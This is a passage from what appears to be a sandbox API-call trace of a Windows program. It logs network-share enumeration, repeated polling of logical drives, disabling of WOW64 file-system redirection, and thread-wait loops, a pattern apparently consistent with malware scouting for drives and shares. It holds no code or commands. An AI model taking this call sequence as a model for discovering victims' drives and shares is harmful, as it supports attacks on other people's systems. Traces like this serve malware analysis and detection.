lpBufferSize=0x272ff0c) returned 0x103 [0040.853] WNetCloseEnum (hEnum=0x6a50f0) returned 0x0 [0040.853] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1000) returned 0x3cf32a8 [0040.853] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6edb10, lphEnum=0x272ff08 | out: lphEnum=0x272ff08*=0x0) returned 0x4b8 [0057.689] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1000) returned 0x430cf70 [0057.689] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6edb30, lphEnum=0x272ff08 | out: lphEnum=0x272ff08*=0x0) returned 0x4c6 [0057.763] WNetEnumResourceW (in: hEnum=0x6a99d8, lpcCount=0x272ff30, lpBuffer=0x6edaf0, lpBufferSize=0x272ff38 | out: lpcCount=0x272ff30, lpBuffer=0x6edaf0, lpBufferSize=0x272ff38) returned 0x103 [0057.763] WNetCloseEnum (hEnum=0x6a99d8) returned 0x0 [0057.763] GetLogicalDrives () returned 0x4 [0057.764] Sleep (dwMilliseconds=0x64) [0058.009] GetLogicalDrives () returned 0x4 [0058.009] Sleep (dwMilliseconds=0x64) [0058.138] GetLogicalDrives () returned 0x4 [0058.139] Sleep (dwMilliseconds=0x64) [0058.284] GetLogicalDrives () returned 0x4 [0058.284] Sleep (dwMilliseconds=0x64) [0058.498] GetLogicalDrives () returned 0x4 [0058.498] Sleep (dwMilliseconds=0x64) [0058.673] GetLogicalDrives () returned 0x4 [0058.673] Sleep (dwMilliseconds=0x64) [0058.856] GetLogicalDrives () returned 0x4 [0058.856] Sleep (dwMilliseconds=0x64) [0058.969] GetLogicalDrives () returned 0x4 [0058.969] Sleep (dwMilliseconds=0x64) [0059.121] GetLogicalDrives () returned 0x4 [0059.121] Sleep (dwMilliseconds=0x64) [0059.277] GetLogicalDrives () returned 0x4 [0059.277] Sleep (dwMilliseconds=0x64) [0059.645] GetLogicalDrives () returned 0x4 [0059.645] Sleep (dwMilliseconds=0x64) [0060.045] GetLogicalDrives () returned 0x4 [0060.045] Sleep (dwMilliseconds=0x64) [0060.341] GetLogicalDrives () returned 0x4 [0060.341] Sleep (dwMilliseconds=0x64) [0060.585] GetLogicalDrives () returned 0x4 [0060.586] Sleep (dwMilliseconds=0x64) [0060.699] GetLogicalDrives () returned 0x4 [0060.699] Sleep (dwMilliseconds=0x64) [0060.810] GetLogicalDrives () returned 0x4 [0060.810] Sleep (dwMilliseconds=0x64) [0060.918] GetLogicalDrives () returned 0x4 [0060.918] Sleep (dwMilliseconds=0x64) [0061.067] GetLogicalDrives () returned 0x4 [0061.067] Sleep (dwMilliseconds=0x64) [0061.185] GetLogicalDrives () returned 0x4 [0061.185] Sleep (dwMilliseconds=0x64) [0061.292] GetLogicalDrives () returned 0x4 [0061.292] Sleep (dwMilliseconds=0x64) [0061.553] GetLogicalDrives () returned 0x4 [0061.553] Sleep (dwMilliseconds=0x64) [0061.659] GetLogicalDrives () returned 0x4 [0061.659] Sleep (dwMilliseconds=0x64) [0061.769] GetLogicalDrives () returned 0x4 [0061.769] Sleep (dwMilliseconds=0x64) [0061.882] GetLogicalDrives () returned 0x4 [0061.882] Sleep (dwMilliseconds=0x64) [0061.987] GetLogicalDrives () returned 0x4 [0061.987] Sleep (dwMilliseconds=0x64) [0062.097] GetLogicalDrives () returned 0x4 [0062.097] Sleep (dwMilliseconds=0x64) [0062.205] GetLogicalDrives () returned 0x4 [0062.205] Sleep (dwMilliseconds=0x64) [0062.328] GetLogicalDrives () returned 0x4 [0062.328] Sleep (dwMilliseconds=0x64) [0062.503] GetLogicalDrives () returned 0x4 [0062.503] Sleep (dwMilliseconds=0x64) [0062.645] GetLogicalDrives () returned 0x4 [0062.645] Sleep (dwMilliseconds=0x64) [0062.757] GetLogicalDrives () returned 0x4 [0062.757] Sleep (dwMilliseconds=0x64) [0062.867] GetLogicalDrives () returned 0x4 [0062.873] Sleep (dwMilliseconds=0x64) [0062.980] GetLogicalDrives () returned 0x4 [0062.980] Sleep (dwMilliseconds=0x64) [0063.090] GetLogicalDrives () returned 0x4 [0063.090] Sleep (dwMilliseconds=0x64) [0063.198] GetLogicalDrives () returned 0x4 [0063.199] Sleep (dwMilliseconds=0x64) [0063.309] GetLogicalDrives () returned 0x4 [0063.309] Sleep (dwMilliseconds=0x64) [0063.415] GetLogicalDrives () returned 0x4 [0063.415] Sleep (dwMilliseconds=0x64) [0063.524] GetLogicalDrives () returned 0x4 [0063.524] Sleep (dwMilliseconds=0x64) [0063.633] GetLogicalDrives () returned 0x4 [0063.633] Sleep (dwMilliseconds=0x64) [0063.745] GetLogicalDrives () returned 0x4 [0063.745] Sleep (dwMilliseconds=0x64) [0063.852] GetLogicalDrives () returned 0x4 [0063.852] Sleep (dwMilliseconds=0x64) [0063.961] GetLogicalDrives () returned 0x4 [0063.961] Sleep (dwMilliseconds=0x64) [0064.123] GetLogicalDrives () returned 0x4 [0064.123] Sleep (dwMilliseconds=0x64) [0064.665] GetLogicalDrives () returned 0x4 [0064.665] Sleep (dwMilliseconds=0x64) [0064.776] GetLogicalDrives () returned 0x4 [0064.776] Sleep (dwMilliseconds=0x64) [0064.883] GetLogicalDrives () returned 0x4 [0064.883] Sleep (dwMilliseconds=0x64) [0064.992] GetLogicalDrives () returned 0x4 [0064.993] Sleep (dwMilliseconds=0x64) [0065.107] GetLogicalDrives () returned 0x4 [0065.107] Sleep (dwMilliseconds=0x64) [0065.388] GetLogicalDrives () returned 0x4 [0065.388] Sleep (dwMilliseconds=0x64) [0065.597] GetLogicalDrives () returned 0x4 [0065.597] Sleep (dwMilliseconds=0x64) [0065.703] GetLogicalDrives () returned 0x4 [0065.703] Sleep (dwMilliseconds=0x64) [0065.939] GetLogicalDrives () returned 0x4 [0065.939] Sleep (dwMilliseconds=0x64) [0066.156] GetLogicalDrives () returned 0x4 [0066.156] Sleep (dwMilliseconds=0x64) [0066.312] GetLogicalDrives () returned 0x4 [0066.312] Sleep (dwMilliseconds=0x64) [0066.423] GetLogicalDrives () returned 0x4 [0066.423] Sleep (dwMilliseconds=0x64) [0066.638] GetLogicalDrives () returned 0x4 [0066.638] Sleep (dwMilliseconds=0x64) [0066.801] GetLogicalDrives () returned 0x4 [0066.802] Sleep (dwMilliseconds=0x64) [0066.939] GetLogicalDrives () returned 0x4 [0066.939] Sleep (dwMilliseconds=0x64) [0067.096] GetLogicalDrives () returned 0x4 [0067.096] Sleep (dwMilliseconds=0x64) [0067.239] GetLogicalDrives () returned 0x4 [0067.239] Sleep (dwMilliseconds=0x64) [0067.450] GetLogicalDrives () returned 0x4 [0067.450] Sleep (dwMilliseconds=0x64) [0067.565] GetLogicalDrives () returned 0x4 [0067.565] Sleep (dwMilliseconds=0x64) [0067.737] GetLogicalDrives () returned 0x4 [0067.737] Sleep (dwMilliseconds=0x64) [0067.846] GetLogicalDrives () returned 0x4 [0067.846] Sleep (dwMilliseconds=0x64) [0068.014] GetLogicalDrives () returned 0x4 [0068.014] Sleep (dwMilliseconds=0x64) [0068.128] GetLogicalDrives () returned 0x4 [0068.128] Sleep (dwMilliseconds=0x64) [0068.233] GetLogicalDrives () returned 0x4 [0068.233] Sleep (dwMilliseconds=0x64) [0068.361] GetLogicalDrives () returned 0x4 [0068.361] Sleep (dwMilliseconds=0x64) [0068.519] GetLogicalDrives () returned 0x4 [0068.519] Sleep (dwMilliseconds=0x64) [0068.627] GetLogicalDrives () returned 0x4 [0068.627] Sleep (dwMilliseconds=0x64) [0068.764] GetLogicalDrives () returned 0x4 [0068.764] Sleep (dwMilliseconds=0x64) [0068.966] GetLogicalDrives () returned 0x4 [0068.966] Sleep (dwMilliseconds=0x64) [0069.113] GetLogicalDrives () returned 0x4 [0069.113] Sleep (dwMilliseconds=0x64) [0070.083] GetLogicalDrives () returned 0x4 [0070.083] Sleep (dwMilliseconds=0x64) [0070.582] GetLogicalDrives () returned 0x4 [0070.582] Sleep (dwMilliseconds=0x64) [0071.518] GetLogicalDrives () returned 0x4 [0071.518] Sleep (dwMilliseconds=0x64) [0071.649] GetLogicalDrives () returned 0x4 [0071.649] Sleep (dwMilliseconds=0x64) [0071.819] GetLogicalDrives () returned 0x4 [0071.819] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0xf98 [0040.435] GetTickCount () returned 0x203a0 [0040.435] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x24) returned 0x6ef270 [0040.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ef270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c [0040.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ef270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0040.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ef270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0040.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ef270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0040.437] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ec770 [0040.437] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ec770, Size=0x20) returned 0x6cec28 [0040.437] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ec890 [0040.437] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ec890, Size=0x20) returned 0x6cec78 [0040.437] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0040.437] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0040.437] Wow64DisableWow64FsRedirection (in: OldValue=0x286ff7c | out: OldValue=0x286ff7c*=0x0) returned 1 [0040.437] lstrlenW (lpString="kernel32.dll") returned 12 [0040.437] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6cec28 | out: hHeap=0x690000) returned 1 [0040.437] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.437] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6cec78 | out: hHeap=0x690000) returned 1 [0040.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6d7700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0040.438] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0040.641] GetTickCount () returned 0x2046b [0040.641] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0040.813] GetTickCount () returned 0x20517 [0040.813] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0041.001] GetTickCount () returned 0x205e2 [0041.001] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0041.237] GetTickCount () returned 0x206bc [0041.237] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0041.426] GetTickCount () returned 0x20778 [0041.426] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0042.057] GetTickCount () returned 0x209e9 [0042.058] GetTickCount () returned 0x209e9 [0042.058] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0042.460] GetTickCount () returned 0x20b7f [0042.460] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0042.584] GetTickCount () returned 0x20bfc [0042.585] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0042.686] GetTickCount () returned 0x20c6a [0042.686] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0042.795] GetTickCount () returned 0x20cd7 [0042.795] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0043.043] GetTickCount () returned 0x20dc1 [0043.043] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0043.387] GetTickCount () returned 0x20f19 [0043.387] GetTickCount () returned 0x20f19 [0043.387] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0043.930] GetTickCount () returned 0x2113c [0043.930] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0044.322] GetTickCount () returned 0x212c3 [0044.322] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0044.525] GetTickCount () returned 0x2138e [0044.525] GetTickCount () returned 0x2138e [0044.525] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0044.806] GetTickCount () returned 0x214a7 [0044.806] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0045.187] GetTickCount () returned 0x2162e [0045.187] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0045.299] GetTickCount () returned 0x2169b [0045.299] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0045.424] GetTickCount () returned 0x21718 [0045.424] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0045.528] GetTickCount () returned 0x21785 [0045.528] GetTickCount () returned 0x21785 [0045.528] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0045.653] GetTickCount () returned 0x21802 [0045.653] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0045.773] GetTickCount () returned 0x21870 [0045.773] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0045.885] GetTickCount () returned 0x218dd [0045.885] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0046.254] GetTickCount () returned 0x21a54 [0046.254] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0046.520] GetTickCount () returned 0x21b6d [0046.520] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0046.743] GetTickCount () returned 0x21c38 [0046.743] GetTickCount () returned 0x21c38 [0046.743] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0047.016] GetTickCount () returned 0x21d52 [0047.016] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0047.331] GetTickCount () returned 0x21e9a [0047.331] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0047.629] GetTickCount () returned 0x21fb3 [0047.629] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0047.741] GetTickCount () returned 0x22020 [0047.741] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0048.258] GetTickCount () returned 0x22224 [0048.258] GetTickCount () returned 0x22224 [0048.258] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0048.668] GetTickCount () returned 0x223ca [0048.668] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0049.288] GetTickCount () returned 0x2262b [0049.288] GetTickCount () returned 0x2262b [0049.288] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0049.615] GetTickCount () returned 0x22773 [0049.615] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0050.007] GetTickCount () returned 0x2290a [0050.007] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0050.575] GetTickCount () returned 0x22b3c [0050.575] GetTickCount () returned 0x22b3c [0050.575] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0050.851] GetTickCount () returned 0x22c55 [0050.851] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0051.240] GetTickCount () returned 0x22dcc [0051.240] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0051.810] GetTickCount () returned 0x2300f [0051.810] GetTickCount () returned 0x2300f [0051.810] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0052.482] GetTickCount () returned 0x232ae [0052.483] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0052.708] GetTickCount () returned 0x23389 [0052.708] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0052.911] GetTickCount () returned 0x23454 [0052.911] GetTickCount () returned 0x23454 [0052.911] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0053.010] GetTickCount () returned 0x234c2 [0053.010] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0053.217] GetTickCount () returned 0x2358d [0053.217] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0053.374] GetTickCount () returned 0x23629 [0053.374] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0053.478] GetTickCount () returned 0x23696 [0053.478] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0053.622] GetTickCount () returned 0x23723 [0053.622] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0053.735] GetTickCount () returned 0x23790 [0053.735] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0053.838] GetTickCount () returned 0x237fe [0053.838] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0054.016] GetTickCount () returned 0x238aa [0054.016] GetTickCount () returned 0x238aa [0054.016] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0054.119] GetTickCount () returned 0x23917 [0054.119] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0054.714] GetTickCount () returned 0x23b69 [0054.714] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0055.389] GetTickCount () returned 0x23e09 [0055.389] GetTickCount () returned 0x23e09 [0055.389] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0055.776] GetTickCount () returned 0x23f8f [0055.776] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0056.164] GetTickCount () returned 0x24106 [0056.164] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0056.762] GetTickCount () returned 0x24368 [0056.762] GetTickCount () returned 0x24368 [0056.762] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0056.950] GetTickCount () returned 0x24423 [0056.950] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0057.097] GetTickCount () returned 0x244b0 [0057.097] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0057.237] GetTickCount () returned 0x2453c [0057.237] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0057.383] GetTickCount () returned 0x245c9 [0057.383] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0057.514] GetTickCount () returned 0x24656 [0057.514] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0057.969] GetTickCount () returned 0x2481b [0057.969] GetTickCount () returned 0x2481b [0057.969] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0058.081] GetTickCount () returned 0x24888 [0058.081] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0058.206] GetTickCount () returned 0x24905 [0058.206] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0058.314] GetTickCount () returned 0x24973 [0058.314] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0058.498] GetTickCount () returned 0x24a2e [0058.498] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0058.673] GetTickCount () returned 0x24ada [0058.673] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0058.856] GetTickCount () returned 0x24b95 [0058.856] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0058.969] GetTickCount () returned 0x24c03 [0058.969] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0059.121] GetTickCount () returned 0x24c9f [0059.121] GetTickCount () returned 0x24c9f [0059.121] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0059.277] GetTickCount () returned 0x24d3b [0059.277] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0059.645] GetTickCount () returned 0x24ea3 [0059.645] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0059.990] GetTickCount () returned 0x24ffa [0059.990] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0060.338] GetTickCount () returned 0x25162 [0060.338] GetTickCount () returned 0x25162 [0060.338] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0060.586] GetTickCount () returned 0x2524c [0060.586] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0060.687] GetTickCount () returned 0x252ba [0060.687] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0060.799] GetTickCount () returned 0x25327 [0060.799] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0060.917] GetTickCount () returned 0x253a4 [0060.917] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0061.067] GetTickCount () returned 0x25431 [0061.067] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0061.167] GetTickCount () returned 0x2549e [0061.167] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0061.281] GetTickCount () returned 0x2550b [0061.281] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0061.553] GetTickCount () returned 0x25625 [0061.553] GetTickCount () returned 0x25625 [0061.553] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0061.659] GetTickCount () returned 0x25692 [0061.659] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0061.769] GetTickCount () returned 0x256ff [0061.769] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0061.882] GetTickCount () returned 0x2576d [0061.882] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0061.987] GetTickCount () returned 0x257da [0061.987] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0062.097] GetTickCount () returned 0x25847 [0062.097] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0062.206] GetTickCount () returned 0x258b5 [0062.206] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0062.328] GetTickCount () returned 0x25922 [0062.328] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0062.430] GetTickCount () returned 0x25990 [0062.430] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0062.535] GetTickCount () returned 0x259fd [0062.535] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0062.645] GetTickCount () returned 0x25a6a [0062.645] GetTickCount () returned 0x25a6a [0062.645] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0062.757] GetTickCount () returned 0x25ad8 [0062.757] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0062.873] GetTickCount () returned 0x25b45 [0062.873] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0062.980] GetTickCount () returned 0x25bb2 [0062.980] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0063.090] GetTickCount () returned 0x25c20 [0063.090] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0063.199] GetTickCount () returned 0x25c8d [0063.199] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0063.309] GetTickCount () returned 0x25cfb [0063.309] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0063.415] GetTickCount () returned 0x25d68 [0063.415] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0063.524] GetTickCount () returned 0x25dd5 [0063.524] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0063.633] GetTickCount () returned 0x25e43 [0063.633] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0063.745] GetTickCount () returned 0x25eb0 [0063.745] GetTickCount () returned 0x25eb0 [0063.745] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0063.852] GetTickCount () returned 0x25f1d [0063.852] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0063.961] GetTickCount () returned 0x25f8b [0063.961] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0064.123] GetTickCount () returned 0x26027 [0064.123] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0064.665] GetTickCount () returned 0x2624a [0064.665] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0064.776] GetTickCount () returned 0x262b7 [0064.776] GetTickCount () returned 0x262b7 [0064.776] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0064.883] GetTickCount () returned 0x26325 [0064.883] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0064.993] GetTickCount () returned 0x26392 [0064.993] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0065.107] GetTickCount () returned 0x263ff [0065.107] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0065.388] GetTickCount () returned 0x26519 [0065.388] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0065.597] GetTickCount () returned 0x265e4 [0065.597] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0065.703] GetTickCount () returned 0x26651 [0065.703] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0065.938] GetTickCount () returned 0x2673c [0065.938] GetTickCount () returned 0x2673c [0065.938] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0066.155] GetTickCount () returned 0x26816 [0066.155] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0066.312] GetTickCount () returned 0x268b3 [0066.312] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0066.423] GetTickCount () returned 0x26920 [0066.423] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0066.638] GetTickCount () returned 0x269fb [0066.638] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0066.802] GetTickCount () returned 0x26a97 [0066.802] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0066.939] GetTickCount () returned 0x26b24 [0066.939] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0067.096] GetTickCount () returned 0x26bc0 [0067.097] GetTickCount () returned 0x26bc0 [0067.097] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0067.239] GetTickCount () returned 0x26c4c [0067.239] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0067.450] GetTickCount () returned 0x26d18 [0067.450] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0067.565] GetTickCount () returned 0x26d95 [0067.565] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0067.737] GetTickCount () returned 0x26e40 [0067.737] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0067.846] GetTickCount () returned 0x26eae [0067.846] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0068.014] GetTickCount () returned 0x26f5a [0068.014] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0068.128] GetTickCount () returned 0x26fc7 [0068.128] GetTickCount () returned 0x26fc7 [0068.128] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0068.233] GetTickCount () returned 0x27034 [0068.233] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0068.361] GetTickCount () returned 0x270b1 [0068.361] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0068.519] GetTickCount () returned 0x2714e [0068.519] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0068.627] GetTickCount () returned 